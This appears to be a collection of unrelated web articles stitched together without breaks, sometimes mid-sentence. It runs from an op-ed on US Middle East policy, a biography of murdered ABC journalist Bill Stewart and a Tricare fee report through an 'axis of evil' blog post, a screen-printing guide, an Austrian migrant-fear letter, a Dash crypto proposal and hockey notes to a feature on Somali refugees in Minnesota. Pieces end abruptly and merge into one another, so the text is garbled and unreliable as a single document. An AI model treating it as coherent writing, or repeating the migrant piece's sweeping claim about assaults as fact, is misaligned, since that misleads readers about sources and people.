So what can the US do to reduce this demand?
The answer is expeditious withdrawal of US troops from Iraq, Afghanistan, and other Middle Eastern countries, along with cessation of economic and military aid to Israel, Egypt, Pakistan, and the rest of the region.
Legalization of opium growing in Afghanistan, so that Afghan farmers can grow their crops in peace, would also do much to ease tensions.
Ending US interference in the Middle East is a necessary condition for reducing terrorism against the US because Islamic resentment results directly from this interference. The fact that virtually all terrorist attacks against the US since 9/11 have targeted US forces in the Middle East, rather than targets on US soil, suggests the crucial objective is getting the US to leave. Of course, terminating US intrusions in the Middle East will not eliminate antipathy to the US.
Some Muslims, just like some non-Muslims, hate the US merely because it is rich and powerful. But ending US interference – which is not mild or occasional but pervasive and severe – would help achieve a significant reduction in the demand for terrorist acts against us. Numerous examples illustrate this view; terrorist attacks against Britain, for example, were concentrated historically against targets in the Middle East and India, but ceased when the British departed. US withdrawal from the Middle East must, of course, proceed slowly enough to safeguard US troops and equipment, and avoid putting locals in harm’s way. And this withdrawal may initially increase violence and instability, as the remaining factions attempt to consolidate power.
But the existing situation is already unstable and violent, and with continued US presence, this seems likely to persist. So US absence is a recipe for short-term pain but longer-term gain.
Some observers may view a US departure negatively because it appears to leave a mission undone. Many, however, will recognize that the US can no longer do any good – whatever one thinks about the original invasions – and therefore applaud the good sense in cutting losses.
None of this means that all antiterror tactics are ill-advised. Securing cockpit doors on airplanes, expanding the number of air marshals, or allowing security agencies to question terror suspects before handing them over to criminal justice can plausibly yield a good ratio of deterred terrorism to resentment and other costs. Yet these tactics can only do so much as long as the desire to attack the US remains strong.
The US must defend itself against terrorism, but it must do so using tactics that work. When one side of US policy is fanning the flames of anti-US hatred, the other side faces an unwinnable battle in trying to safeguard the country.
Jeffrey A. Miron is a senior lecturer and director of undergraduate studies at Harvard University and a senior fellow at the Cato Institute. He blogs here and is the author of the forthcoming “Libertarianism, from A to Z.”
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Did this opinion piece make you think? Join the conversation on Facebook!William D. "Bill" Stewart (1941 – June 20, 1979) was an American journalist with ABC News who was summarily murdered by Nicaraguan government National Guard ("Guardia") forces while reporting on the Nicaraguan Revolution as Sandinista rebel forces were closing in on the capital city of Managua in 1979.[1] Footage of his execution was repeatedly broadcast on network television, resulting in an uproar against the Somoza regime in the United States.
Life and career [ edit ]
Stewart, originally from West Virginia, was a 1963 graduate of The Ohio State University. While at Ohio State, Stewart was active in many extracurricular activities including the Student Senate and the Sphinx honorary society, as well as a member of the Alpha Tau Omega Fraternity.[2] He came to ABC News from WCCO-TV in Minneapolis.[3] An experienced foreign correspondent, Stewart's assignments included coverage of the Iranian Revolution in February 1979.[4] He had been in Nicaragua for ten days reporting on the civil war between the Somoza dynasty and the leftist Sandinistas.[5]
Death [ edit ]
On June 20, 1979, Stewart was traveling in a press van in the eastern slums of the capital city of Managua with his camera and sound crew when they were stopped at a roadblock run by the Nicaraguan Guardia (lit. Guardia Nacional, or National Guard), the main force of President Anastasio Somoza Debayle. The van was clearly marked as a press vehicle as a precaution, which had become standard practice as the insurgency and revolution increased in intensity.[6] On the previous day the government newspaper Novedades had run an editorial describing foreign journalists as "part of the vast network of communist propaganda".[7]
Stewart and his 26-year-old Nicaraguan interpreter, Juan Francisco Espinosa, exited the vehicle and approached the barricade.[8][9] Stewart presented official press credentials issued by the office of the Nicaraguan president.[4] When they were a few meters away from the soldiers, cameraman Jack Clark spontaneously began filming from inside the van. A guardsman ordered the men to separate, and Stewart was ordered first to kneel and then to lie face down on the ground.[8] A soldier approached Stewart, kicked him once in the ribs, then stepped back and shot him behind his right ear, killing him instantly.[4][8][10] Juan Espinosa had been shot to death off-camera by a different soldier, apparently before Stewart was killed, after he approached the guards to ask their permission for an interview.[9] The driver of the ABC van, Pablo Tiffer López, would later testify that a soldier remarked of Stewart, "I'm sure he's no journalist. He's a dog." He also testified that when the soldiers realized they had killed an American journalist they commanded the crew to report that a Sandinista sniper was responsible.[11]
Stewart was 37 years old. He was survived by his wife, Myrna, and his parents.[12] His body was retrieved by his crew and flown on an Air Force C-130 from Nicaragua to Panama, then transferred to an airplane sent by ABC and returned to the United States.[8][13] Stewart was buried in Ashland, Kentucky.[14]
Impact [ edit ]
The footage of Stewart's killing was smuggled out of the country by his crew and sent to New York.[13] The three major American networks—ABC, NBC, and CBS—ran the footage in their evening news broadcasts and repeatedly rebroadcast the clip in the following days. Millions of viewers in the United States and worldwide reacted with shock and outrage towards the Somoza regime.[15] All three networks protested the killings by withdrawing their personnel from the country, with only CBS leaving a single correspondent to cover the conflict.[11] President Jimmy Carter issued a statement describing the murder as "an act of barbarism that all civilized people condemn."[16]
Shortly after the killings, the Nicaraguan national guard reported that they had arrested Corporal Lorenzo Brenes ("Brenis" in some reports), the corporal responsible for Stewart's murder, and that he would be "brought before legal officers".[5] Brenes, who had been in command of the roadblock, testified before a military tribunal that he had not witnessed the shootings. He said that Stewart's killer was a "Private González" who was killed in combat later the same day; this elicited audible reactions of disbelief from the international press corps when announced at an official news conference.[11] Brenes testified that the private, whose first name he claimed not to know (but was later reported as "Pedro"), related to him that he had killed Stewart "because he tried to run away".[17] The ultimate fates of the Guardia soldiers responsible for the killings of Stewart and Espinoza are unknown due to the chaotic demise of Somoza's military regime.[18] Somoza fled Nicaragua for Miami on July 17, and the regime was overthrown on July 19, 1979, less than a month after Stewart's murder.[18]
Under Fire [ edit ]
A fictional version of Stewart's murder was told in the 1983 film, Under Fire, starring Gene Hackman, Nick Nolte, and Joanna Cassidy.[19] Hackman's Alex Grazier and Nolte's Russell Price are amalgamations of Bill Stewart's life and career as a journalist and war correspondent. In the film, Stewart's death is presented differently: Hackman's character is shot in the chest while standing up, and his death is captured in a series of still images by Nolte's character, who escapes from the scene in a hail of gunfire. As in Stewart's case, the images are shown to television audiences around the world, and the public outcry signals the end for the embattled Somoza dictatorship.[19]
See also [ edit ]Current retirees and all troops who later enter the military retirement system would face higher Tricare fees under the Pentagon's new budget proposal.
The plan, released Tuesday, would usher those already in the Tricare system into the fee structure passed by Congress last year by removing a "grandfathering" clause included in the 2017 National Defense Authorization Act (NDAA). That law currently only impacts those who enter the force after January 2018.
The proposed Tricare changes do not impact elderly Tricare for Life users. All of the proposed changes must first be approved by Congress before they become law -- a process that could take months or longer -- and some lawmakers have already described the president's budget request as "dead on arrival" on Capitol Hill.
Currently, retiree families must pay an annual Tricare Standard enrollment of $150 for individual and $300 for families or $282.60 for individuals and $565.20 for Tricare Prime. Fees under the 2017 NDAA are $450 for individuals and $900 for families on Tricare Select and $350 for individuals and $700 for families under Tricare Prime.
The 2017 NDAA, signed into law in December, focused for current troops and retirees primarily on program title changes from "Tricare Standard" and "Tricare Extra" to "Tricare Select," back end management and limited expansions for current retirees and troops.
But under that legislation, those new to the military in 2018 see new cost structures once they hit retirement, including annual enrollment fees of at least $900 per family for the new "Tricare Select" option and $700 for Tricare Prime.
The new budget proposal expands those retiree health care fee increases to everyone, regardless of when they entered the military.
Under the plan, Prime enrollment costs for retiree families would increase by almost $150 per year, while the fee for the "Select" plan, similar to the current "Standard" option, would triple. The annual catastrophic cap -- the most users pay out of pocket for covered services -- would also increase from $3,000 to $3,500 for retirees.
Exempted from the changes under the proposal are medical retirees and the family members of those who died while on active duty.
The budget proposal also includes a 2.1 percent pay increase for military troops in fiscal 2018 -- the same as was recently approved by Congress for the current year -- and overall Defense spending of $603 billion.
The new Tricare fees and catastrophic caps would also be subject to annual increases, budget documents state, which would be tied to the National Health Expenditures per capita rate, which is compiled by government's Centers for Medicare and Medicaid Services. That office projects a 5.9 percent increase for 2018 to 2019, according to forecast documents.
Pentagon officials said currently serving troops need to be included in the system changes for cost savings, simplicity and equity. By grandfathering current troops into the old system while creating a new cost structure, Congress slashed the amount the Pentagon was looking to save through the new system.
"What that did is, in effect, pretty much wipe out any of the near term savings and create what we think is a two-tiered system," said John Roth, the Pentagon's acting comptroller. "So we're going to ask congress if they would consider eliminating the grandfathering."
Budget documents cite growing healthcare costs as the reason for the changes.
"While health care costs have doubled or tripled over this time frame, a family's out-of-pocket expenses, including enrollment fees, deductibles and cost shares, have grown by only 30 to 40 percent," the budget proposal says.
-- Amy Bushatz can be reached at [email protected]. Follow her on Twitter at @amybushatz.DIGG THIS
"Axis of evil" was a term coined by United States President George W. Bush in his State of the Union Address on January 29, 2002 in order to describe governments that he accused of helping terrorism and seeking weapons of mass destruction. Bush named Iraq, Iran, and North Korea in his speech.
Of course, they weren’t an axis, that is they weren’t an alliance, at all; in fact two of them, Iraq and Iran, had fought a bloody war with the United States supporting Iraq.
Anyhow, it looks like the "axis" is down to one.
The first to go was Iraq, with the United States-led invasion on March 20, 2003 by a multinational coalition composed of U.S. and U.K. troops supported by smaller contingents from Australia, Denmark, Poland, and other nations.
At the start of the war, U.S. officials argued that Iraq and its alleged possession and further pursuit of weapons of mass destruction (WMD) posed an imminent threat to the security and interests of the United States, Europe and the other nations of the Middle East. Also Iraq was linked with terrorism. However the links to terrorism were found to be false, and weapons inspectors found no evidence of WMD.
And then North Korea.
The Agreed Framework signed by the United States and North Korea on October 21, 1994 in Geneva agreed that:
North Korea would freeze its existing nuclear program and agree to enhanced International Atomic Energy Agency (IAEA) safeguards.
Both sides would cooperate to replace the D.P.R.K.’s graphite-moderated reactors for related facilities with light-water (LWR) power plants.
Both countries would move toward full normalization of political and economic relations.
Both sides will work together for peace and security on a nuclear-free Korean peninsula.
And that both sides would work to strengthen the international nuclear non-proliferation regime.
Then along came Bush. South Korea was told in March 2001 that President Bush and Secretary Powell would not continue the talks with North Korea representatives on their nuclear program that were begun the year before by President Clinton and Secretary Albright. Next, Bush called the DPRK a part of the axis of evil in his 2002 State of the Union Address.
So, thanks to Bush, North Korea got to work.
Deputy Secretary of State Richard Armitage testified before the Senate Foreign Relations Committee February 4, 2003 that the administration received a National Intelligence Estimate in June 2002 stating that North Korea had engaged in at least [a research and development] project for highly enriched uranium. He also stated that intelligence received the next month, however, indicated that North Korea was acquiring many more [centrifuges] than was originally thought, adding that a September 2002 intelligence memorandum said that North Korea had embarked on a production program.
A November 2002 CIA report to Congress says North Korea is constructing a [uranium-enrichment] plant that could produce enough weapons-grade uranium for two or more nuclear weapons a year when fully operational. The Senate Foreign Relations Committee heard testimony that the uranium-enrichment program could produce fissile material in probably months and not years.
This was followed by years of disengagement with North Korea and its nuclear program. In 2003 North Korea withdrew from the Nuclear Nonproliferation Treaty (NPT) and it subsequently acted belligerently, reactivating its nuclear power facilities and firing a land-to-ship missile into the sea between the Korean Peninsula and Japan. It also conducted an underground nuclear explosive test on October 16, 2006.
Then came a shocker. On June 26th the Bush administration asked Congress" to de-list North Korea from America’s "terrorist watch list, and suspended sanctions on North Korea that are tied to the "Trading with Enemies Act."
This puts US-North Korea relations on a whole new track. Chalk it up as a success for Assistant Secretary of State for East Asian & Pacific Affairs Christopher Hill, who has been attacked by former US Ambassador to the United Nations John Bolton for the last year.
President Bush: "North Korea pledged to declare its nuclear activity. With today’s declaration, North Korea has begun describing its plutonium-related activities. It’s also provided other documents related to its nuclear programs going back to 1986. It has promised access to the reactor core and waste facilities at Yongbyon, as well as personnel related to its nuclear program. All this information will be essential to verifying that North Korea is ending its nuclear programs and activities.
"The six-party talks are based on a principle of ‘action for action.’ So in keeping with the existing six-party agreements, the United States is responding to North Korea’s actions with two actions of our own:
"First, I’m issuing a proclamation that lifts the provisions of the Trading with the Enemy Act with respect to North Korea.
"And secondly, I am notifying Congress of my intent to rescind North Korea’s designation as a state sponsor of terror...Multilateral diplomacy is the best way to peacefully solve the nuclear issue with North Korea.
"They said they’re going to destroy parts of their plant in Yongbyon. That’s a very positive step — after all, it’s the plant that made plutonium.
"Now, as I mentioned in my statement, there’s a lot more verification that needs to be done. I mentioned our concerns about [uranium] enrichment. We expect the North Korean regime to be forthcoming about their programs."
Catch the new Bush:
"North Korea has begun describing its plutonium-related activities." "They said they’re going to destroy parts of their [plutonium] plant in Yongbyon." "I mentioned our concerns about [uranium] enrichment." "We expect the North Korean regime to be forthcoming about their programs."
So it looks like two down.
But what about the third and last "Axis" member, Iran?
Do they get the attack like Iraq, or do they get the concern and expectations like North Korea? (Hint: They’ve got oil and gas, like Iraq, and North Korea doesn’t.)
Iran has been subjected to a series of United Nations sanctions for its refusal to cease enriching uranium, as North Korea is doing, and the United States refuses to talk to Iran.
This is despite the fact that Iran, a Nuclear Non-Proliferation Pact signatory, is in full compliance with the NPT which states: "Nothing in this Treaty shall be interpreted as affecting the inalienable right of all the Parties to the Treaty to develop research, production and use of nuclear energy for peaceful purposes without discrimination and in conformity with articles I and II of this Treaty."
In other words, Iran, like any NPT signatory, is not only allowed but encouraged to develop nuclear energy for peaceful purposes. Iran is in full compliance with the NPT.
In February of this year, the UN International Atomic Energy Agency (IAEA) stated:
"The Agency has been able to continue to verify the non-diversion of declared nuclear material in Iran. Iran has provided the Agency with access to declared nuclear material and has provided the required nuclear material accountancy reports in connection with declared nuclear material and activities."
And again in May:
"The Agency has been able to continue to verify the non-diversion of declared nuclear material in Iran."
Despite these affirmations Iran has been threatened with attack by Israel. Iran has said that it would react violently if attacked. As a result, UN Secretary Ban Ki-moon criticized — Iran.
Talk about the double standards at the United Nations, reports Kaveh L Afrasiabi of Asia Times. Whereas UN secretary general Ban Ki-moon has repeatedly condemned Iranian President Mahmud Ahmadinejad’s rhetoric against Israel, expressing "shock and dismay," he has remained ominously, and inexcusably, silent about the blatant Israeli threats of military attacks on Iran, thus undermining the world’s confidence in his ability to steer the global community clear of yet another major war in the Middle East caldron.
Afrasiabi continues: Having turned a blind eye to Iran’s formal protest at the UN regarding Israel’s explicit threats, Ban may need to revisit his own statement of June 7, 2007, "The secretary general points out that all members have undertaken to refrain from the threat or use of force against the territorial integrity or political independence of any state."
In light of new media disclosures about Israel’s advanced plans to launch a major air offensive against Iran’s nuclear installations, bound to inflict serious civilian casualties and trigger the volatile region into a "fireball," to paraphrase the reaction of the head of International Atomic Energy Agency (IAEA), Mohammad ElBaradei, who has stated categorically that he would resign immediately if Iran is attacked, Ban is borderline on the verge of skirting his official obligation by refusing to issue a stern statement on this serious matter of war and peace.
And what’s the US up to? Until recently, writes Sarah Van Gelder at Huffington Post, the power struggle within the Bush administration over whether to attack Iran seemed to be going badly for the hawks. Their disastrous record in Iraq coupled with flimsy arguments for attacking Iran meant they were gaining little support. But now it appears congressional Democrats may be riding to the rescue of those pushing for war. Bills have been introduced in both houses that would impose strict inspections on all cargo inbound to Iran.
Imposing "stringent inspection requirements" would amount to a naval blockade, many believe, and thus constitute an act of war. At the very least, it would be perceived by Iranians of all political persuasions as a hostile act, further marginalizing moderate voices, unifying the country behind the most belligerent leaders, and bolstering the argument of those within Iran who are pushing for the rapid development of nuclear weapons as a defense against U.S. attack.
Why are 96 House Democrats (along with 111 House Republicans) co-sponsoring this resolution? Aren’t these the Democrats who rode into majorities in both houses on public revulsion against war in the Middle East?
According to a recent story on CBS News, the answer seems to be a "full-court press" by the government of Israel and the American-Israeli lobby AIPAC. CBS ran the story Tuesday as Joint Chiefs Chairman Admiral Mike Mullen was on his way to the Middle East to confer with Israeli government officials. "Israelis are uncertain about what would be the policies of the next [U.S.] administration vis–vis Iran," CBS consultant Michael Oren says in the report.
Hence the rush to war?
It sure looks like war, if these bills become law and the UN falls in line.
H. Con. Res 362 (introduced by Democrat Gary Ackerman) and S.Res.580 (by Democrat Evan Bayh) are identical bills which have as their goal "preventing Iran from acquiring a nuclear weapons capability, through all appropriate economic, political, and diplomatic means, is vital to the national security interests of the United States and must be dealt with urgently…." The bill:
"demands that the President initiate an international effort to immediately and dramatically increase the economic, political, and diplomatic pressure on Iran to verifiably suspend its nuclear enrichment activities by, inter alia, prohibiting the export to Iran of all refined petroleum products; imposing stringent inspection requirements on all persons, vehicles, ships, planes, trains, and cargo entering or departing Iran; and prohibiting the international movement of all Iranian officials not involved in negotiating the suspension of Iran’s nuclear program;"
So the US is concerned about North Korea’s uranium enrichment and, thanks to the Democrats, ready to go to war over Iran’s.
As Edward Abbey said: "As war and government prove, insanity is the most contagious of diseases."
The Best of Don BaconHack Your Culture with DIY Screen Printing
Making ideas tangible
I spent five years working at Facebook as a designer. I pride myself on an ability to design in any medium, and I think it’s important to consider which medium is appropriate for a given design challenge and audience.
Like many designers, I have an affinity for posters—I enjoy looking at them, designing them, and even printing them. However, I came to design through a love of technology, especially the internet. Because of this, I’ve thought a lot about the role of posters—and to a larger extent, printed ephemera—in a world increasingly dominated by screens.
Previously, if you had something that you wanted to communicate to a large number of people, posters were one of the most efficient and effective ways of doing it. But we all know the internet is now a much most efficient way to distribute information. So is there still any use for the poster?
“Posters can feel more human, especially when they’re printed by hand.”
A lot of the work I do uses the language of design to take complex ideas or feelings and communicate them in the simplest way possible. I think about this process as the packaging of ideas—taking something complex and making it easy to see, understand, and share with others. Making the ideas tangible. This can happen in a digital space, but I believe that in certain contexts, physical media—like a poster—can be a powerful choice. Posters certainly aren’t the solution to every design challenge, but here are a few reasons I like to use them:
1. Posters have the opportunity to cut through all the noise of information we are exposed to, especially when they’re used in small, contained communities, like a corporate environment, college campus, or even a neighborhood.
2. They’re actually tangible. Posters have a physical presence in the world. Depending on the context and placement, they can be really unexpected or surprising, in a way that you can’t truly replicate in the digital space—at least not yet. They are also limited in quantity, and that scarcity can make them more desirable and collectable.
3. To me, posters can feel more human, especially when they’re printed by hand. You can start to sense that a person took care to make it. It’s much warmer than anything you can achieve on screen—again, at least for now.
4. Posters require a certain level of commitment. They take time and resources—ink and paper—to actually produce. This is a signal to pay extra attention to the content.
5. How a poster is produced can also communicate something. At Facebook, where there’s a hacker culture, this was especially true. It was really important to me that we produced all the posters ourselves, by hand, because it reinforced our companies do-it-yourself hacker culture.
Create Your Own Posters with Screen Printing
There are innumerable ways to create images and almost as many ways to print them on a poster. One of my favorite methods has always been screen printing. To me, screen printing is in the sweet spot of ease and efficiency and quality and creative opportunity. Relative to other printing methods, it’s very cheap and fast, and it’s possible for an individual to setup and start printing with very little investment in infrastructure. And with a little effort, the quality of the prints can be incredibly beautiful.
You don’t need the resources of Facebook to screen print in your own home or office. With less than a couple hundred dollars in supplies, you can have a decent setup.
In a workshop I taught during Bridge 3, the participants created posters in about 30 minutes using hand cut paper stencils as a resist. Here’s what you’ll need for that basic setup:
A screen (aluminum 18″ x 20″)
Screen printing hinge clamps
A work surface (that you can screw the clamps to)
A screen printing squeegee (12”)
Kitchen spatula for spreading ink
Spray bottle filled with water
Water based screen printing ink (Speedball brand works well)
Regular printer paper to use for a resist (11” x 17”)
Nicer paper to print on (11” x 17”)
Exacto knife
Cutting mat (or we just used cardboard in our workshop)
Packing tape (to tape off the edges of the screen so ink doesn’t bleed through)
Pencil
To get started, draw a design in pencil and then cut it out with an exacto knife. Then put your paper stencil on top of the paper you want to print on.
Place the screen in the hinge clamps. Align the screen to your paper and clamp it down so it doesn’t move.
Add the ink.
Using a squeegee, push the ink through the screen—by pulling from top to bottom while applying medium pressure—onto the paper or whatever you’re printing on.
Now the paper stencil will be attached on one side of the screen. You can repeat the process a few more times before the paper stencil degrades.
Let the ink dry. Then voila! You will have a screen printed poster. Keep in mind, this is the most basic way to create a resist and print a design, but not the most practical.
In less than a couple hours you can get your teammates creating posters about your culture too. For a more durable way photo emulsion is typically used, watch this video to see how the professionals do it.
Special thanks to Ben Barry for leading this Bridge workshop, Julia Plevin for helping recap it, and the Facebook Analog Research Lab for inspiring us.
If you’re interested in more insights about the latest design tools and methods, check out Bridge and keep in touch here before applications open September 15th.
AuthorThe father of a 16 year old girl pleads with an Austrian Governor and Police to protect his daughter in a powerful letter that describes the everyday fear young women have of migrants.
“My daughter is 16 and is afraid when she needs to use the Linz train station in the evening, we have now had to form a carpool with other parents,” writes the father whose name is Franz according to the paper. According to Kronen Zeitung the man sent a letter to the Governor of the Austrian province of Upper Austria explaining the extreme fear his daughter has of the train station because of the migrant men who hang out there every day.
“Our daughter is learning to be a hairdresser in Linz. She must regularly go through the station in the evening. She told us that she’s scared because on her way many young foreign lads are there,” Franz wrote in his letter. After the Cologne attacks on New Year’s Eve some train stations are reported to have become a den for migrants who routinely sexually assault young girls.
The letter continues: “My wife and I took a look at what is happening on the ground, went to Linz and the same way as our daughter and we have to say that she has not exaggerated, it was unfortunately worse than imagined,” adding, “even though we were there for three quarters of an hour, we heard no police and saw no police presence. I’ve asked around, supposedly there are not enough officers. After 8pm only five police officers were there. In a country like Austria, it is not acceptable, that our children have to be in fear on the way to work and back home.”
Kronen Zeitung investigated the
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man Jim Shulman, a former chairman of the board of Safe Haven, a Nashville nonprofit that serves homeless families, said it makes sense that homelessness would rise as Nashville's overall population grows.
"I worry that we don't have a good short-term or a long-term solution to dealing with this," Shulman said. "We've been focused on affordable housing, but that's for people who are trying to find housing and have incomes. Now we're dealing with people who probably don't have any income."
In a letter to the mayor's office, Shulman recently raised concerns about Metro's community response plan for cold weather, which outlines the protocol to provide shelter for homeless people during freezing temperatures.
"The problem with the plan is: Do people know what the plan is and does it work?" Shulman said. "I think there's a feeling that it doesn't work. And if it doesn't work then we all need to get back together and figure out how to make it work."
Staff photographer Lacy Atkins contributed to this report. Reach Joey Garrison at 615-259-8236 and on Twitter @joeygarrison.
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Read or Share this story: http://tnne.ws/2hFDJcaDescription:
Overview:
Scope:
Deliverables:
January 10, 17, 24, 31
February 7, 14, 21, 28
March 7, 14, 21, 28
Schedule:
Each week, filming Wednesday to Friday (A+B footage)
Each week, Saturday to Monday (Post, editing)
Each week, Tuesday (Upload to social media channels)
12 episodes in total
Budget:
Travel: $10 CAD fuel and parking for 3 days/week. (4.58 x 4) = 18.32 DASH Street Interviews: 8hrs Raw/week x 1.52 DASH = (12.16 x 4) = 48.64 DASH Setup/Filming Raw: 16hrs/week. 16 x 1.52 DASH = (24.32 x 4) = 97.28 DASH Editing: 4hrs/week (4 x 4) = 16 DASH Total = 180 DASH
Closing:
Dash Across the World -- Weekly Show Interviewing Businesses and PeopleThis is a 3-month pilot proposal to seek out real business owners, both conventional and unconventional, and conduct face-to-face interviews with them regarding the use of DASH and how it could be used. This is where the rubber hits the road, as it were.This weekly show will be called 'Dash Across The World,' and the length of each show could be up to 45 minutes at max. Each episode will include a 10-minute segment called the 'Dash is Cash' challenge. I'll interview random people at random places, and challenge them to install the Dash wallet on their smartphone. Once installed, I'll send them a small amount of Dash to show them how fast and convenient it is. I will also attempt to conduct brief interview questions to gauge knowledge and interest in digital cash, privacy, and possible uses on an individual basis.Almost 40 million Canadians gear up to legalize marijuana in 2017, and the stage is set for a massive industry to cope with a swell of privacy and banking concerns, as well as long-standing social discrimination of its use. There is no better time than now for Dash to showcase that private purchasing has a real value proposition to all peaceful societies.The scope of this project is not only to communicate the value of Dash to real people in real businesses, but it allows Dash developers and community to follow along and watch first-hand, how average people interact with Dash. Real-world interviews will be an invaluable feedback-loop to help eliminate or lessen the barriers to entry, while promoting Dash in creative and fun ways.1. One show per week for 12 weeks. Tuesdays, delivered to various social media channels like Youtube, and shared on Twitter.2. Weekly frequent updates on the Dash.org proposal forum.3. Twelve episodes in total.Note: All audio-video, lighting and editing equipment is owned by me, and provided at no charge.This project brings tangible benefits by taking Dash directly to the streets to find out what people and businesses have to say about how they could use it in their daily lives. This project aligns well with the purpose of the treasury. My specific aim is to increase market capitalization by focusing efforts on under-served and niche markets, businesses, and people.Kind regards,Mike JensenTwitter.com/Dash_CanadaTwitter.com/windsor_360Etem, 21 (6/16/92), has appeared in 24 contests with Anaheim, earning 6-4=10 points with four penalty minutes (PIM) and a +2 rating. He scored his first goal of the season, the GWG, as part of a multi-point night (1-1=2) on Oct. 20 vs. Dallas. He added his first career multi-goal game (2-0=2) on Nov. 2 @ Buffalo. Assigned to Norfolk on Nov. 27, Etem appeared in three contests with the Admirals, scoring 1-4=5 points. In his first contest on Nov. 27, Etem collected 1-2=3 points in Norfolk’s 5-2 win over Charlotte.
Selected in the first round (29th overall) of the 2010 NHL Entry Draft, Etem made his NHL debut with Anaheim in 2012-13, collecting 3-7=10 points with nine PIM in 38 contests. The Long Beach, California native has appeared in 62 career contests with the Ducks, collecting 9-11=20 points with 13 PIM and a +9 rating. He is the highest-drafted Southern California born-and-trained player in Ducks history and the third-highest in NHL history. In 48 career AHL contests with Norfolk, he has 14-7=21 points with 12 PIM.
Steckel, 31 (3/15/82), appeared in 21 contests for the Ducks in 2012-13, earning 1-5=6 points. He won 95-of-165 faceoffs in his final 14 contests of 2012-13 for a 57.6% success rate. Signed to a one-year contract on Nov. 11, Steckel has played in 419 NHL games with Washington, New Jersey, Toronto and Anaheim, scoring 33-46=79 points with 129 PIM. The 6-6, 215-pound center has also appeared in 17 AHL contests this season with Iowa and Norfolk, collecting 3-3=6 points with a +3 rating.
Selected by Los Angeles in the first round (30th overall) of the 2001 NHL Entry Draft, Steckel was originally acquired by Anaheim from Toronto on Mar. 15, 2013 (in exchange for Ryan Lasch and a 2014 seventh-round draft pick).Tales of the state’s large Somali community had intrigued them back in the Kenyan refugee camp where they had married and had five children. Now, a Somali man they met in Hartford told them all recent arrivals head to Minnesota, home of “Little Mogadishu.”
After a major dip in 2008, the yearly numbers of new Somali refugees in Minnesota have rebounded steadily. The number of Somalis resettled in the state has more than tripled in four years. As resettlements nationally have picked up, more Somalis are also arriving here after brief stints in other states — often trading early support from resettlement agencies for the company of more fellow Somalis.
“You tend to go somewhere you can connect,” said Mohamud Noor, the head of the Confederation of Somali Community in Minnesota. “Before people even arrive from Africa, they know they are coming to Minnesota.”
But without the Twin Cities family ties of earlier arrivals, these newcomers often can’t lean as heavily on longer-term Somali residents. Mary’s Place, a Minneapolis homeless shelter, has become ground zero for families like Ali and Mohamed’s. Somali participation in the state’s public food assistance program doubled in the past five years. Meanwhile, the Minneapolis School District, its Somali student enrollment up 70 percent since 2011, launched eight classrooms with instruction in both English and Somali to help newcomers catch up.
In some ways, Ali and Mohamed have had a steeper learning curve than Somalis who settled in Minnesota in the 1990s and early 2000s. The couple spent their entire adult lives in tents at Kenya’s sprawling, overcrowded Hagadera refugee camp. They didn’t have family or close friends who resettled in America before them, and their notion of life in the United States was forged out of camp legend.
Somali immigrants Nur Ali, right, and his wife, Mahado Mohamed, left, sat with their six children in their apartment at Mary’s Place transitional housing in downtown Minneapolis. The family arrived in the U.S. four months ago, first landing in Connecticut before coming to Minnesota.
“We always used to think when you come to America, you have a lot of money and life is really easy,” Ali said through a translator. “We have been surprised.”
Ali and Mohamed are part of a new wave of Somali refugees. Until 2008, the state resettled only refugees reuniting with family here.
But that year, DNA tests showed only about 20 percent of applicants in a refugee family reunification program, most of them from Africa, were actually related to their stateside sponsors. The program was suspended, even as Somalis argued a broader definition of family was as much a factor as fraud. The number of new Somali arrivals plummeted, from a high of more than 3,200 in 2006 to 180 in 2009.
Meanwhile, more stringent background checks for refugees in 2010 snarled the application process. Larry Bartlett, the U.S. Refugee Admissions program director, says the streamlining of security checks since and the resumption of the family reunification program in 2012 led to the recent increase in Somali arrivals — a trend he expects to continue in the next few years.
In the fiscal year that ended in September, Minnesota welcomed almost 1,050 Somali refugees arriving directly from Africa, most of them without family ties to the state. Nationally, 9,000 Somalis were resettled, up from about 2,500 in 2008.
No ‘out-migration’
The exact numbers of Somalis moving to Minnesota from other states are hard to track. But there’s little doubt their ranks have swelled, too. The federal Office of Refugee Resettlement compiles partial numbers showing about 2,620 total refugee arrivals from other states in 2013, up from 1,835 two years earlier — making Minnesota the state with the highest in-migration by far.
“This has always been an issue for Minnesota,” said Kim Dettmer of Lutheran Social Service, one of the agencies that helps resettle refugees who come directly to Minnesota. “We have in-migration. We don’t really have out-migration.”
After arriving from Kampala, Uganda, Ayan Ahmed and her nine children, ages 4 to 18, spent six months in Phoenix. There, Catholic Charities had lined up a furnished four-bedroom home for the family and a neurologist for Ahmed’s eldest son, who is blind.
But then, some financial support Ahmed received as a refugee was about to dry up, and she worried about covering her $1,200 rent. Most Somali families she met in Phoenix were longtime residents, the struggles of adjusting to a new country long behind them. They urged her to go to Minnesota and raised money for the plane tickets.
Ahmed, who is staying at Mary’s Place, says local Somalis have picked up groceries and takeout food for her, and lent a compassionate ear: “Some days, I feel I stayed in Mogadishu.”
Challenges for newcomers
Ali, a five-month pregnant Mohamed and their kids arrived in Minneapolis four months ago without a detailed plan. They had used up most of their refugee cash payments for the plane tickets.
At the airport, they met a Somali cabdriver who offered to drive them to Village Market, a Somali mall in south Minneapolis. The family went to the mosque inside the mall, prayed and asked for help. A Somali family agreed to put them up for the night and took them to Mary’s Place the next day. There, the couple, their five older children and newborn daughter sleep on three bunk beds in their tidy apartment.
In some ways, things are looking up: Ali is taking English classes and recently found a full-time job as a butcher in a halal market. They have health insurance and food stamps. But they have found they can rely only so much on local Somalis, who are busy with their own lives. And saving up enough money to move into their own place is an elusive goal that weighs heavily on Ali.
With limited ties to the local Somali community, recent Somali arrivals face a new set of challenges. Community leaders say it used to be unthinkable that a Somali family should land in a homeless shelter: Newcomers could invoke the most tenuous family connection to move into famously hospitable Somali homes indefinitely.
The children ate a snack at Mary’s Place. About 60 of the shelter’s 90 units are occupied by Somali families.
But these days longer-term residents recovering from the recession might balk at putting up complete strangers. Meanwhile, affordable housing for large families is scarce, especially in Hennepin County.
Ironically, community activists such as Abdirizak Bihi say, these newcomers might need more support than earlier arrivals. Many have spent most of their lives in makeshift camps such as Qabri Bayah in Ethiopia, with basic amenities and limited access to formal education.
When these refugees move too soon after arriving in a different state, they get cut off from resettlement agencies there responsible for finding homes and jobs for them. Noor, whose group tries to assist newcomers with navigating the transition, says the federal government needs to do more to discourage this early migration. At the U.S. State Department, Bartlett says staff members strive to honor refugees’ host city preference. Some refugees even sign a document affirming they are going to the city where they want to stay.
“The problem with moving quickly is that the benefits don’t always follow you,” Bartlett said. “We really try to impress that upon them.”
Adjusting to the influx
